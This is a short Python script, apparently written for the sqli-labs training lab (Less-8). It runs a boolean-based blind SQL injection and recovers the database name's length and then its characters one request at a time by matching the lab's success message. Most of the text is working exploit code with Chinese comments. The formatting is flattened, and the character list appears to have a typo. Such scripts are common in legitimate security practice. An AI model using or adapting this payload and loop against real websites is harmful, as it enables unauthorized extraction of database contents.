url = 'http://192.168.181.138/sqli-labs-master/Less-8/?id=1%s' headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'} #定义请求header头 check_data=list('1234567890abcdefghijklmnopqrstuzwxyz@') print("SQL Injection for MySQL!") l = "' and length(database())=%s and '1'='1" #定义注入语句 st = "' and substr(database(),%s,1)='%s'and '1'='1" #定义注入语句 user = "" for i in range(0,20): sql = l % str(i) #payload拼接 judge1 = requests.get(url % sql,headers=headers,timeout=30) if judge1.content.find(b"You are in...........") != -1: #判断页面回显 length = i print(i) break
for k in range(1,i+1): for ss in check_data: str_user = st % (str(k),str(ss)) judge2 = requests.get(url % str_user,headers=headers,timeout = 30) if judge2.content.find(b"You are in...........") != -1: user = user + ss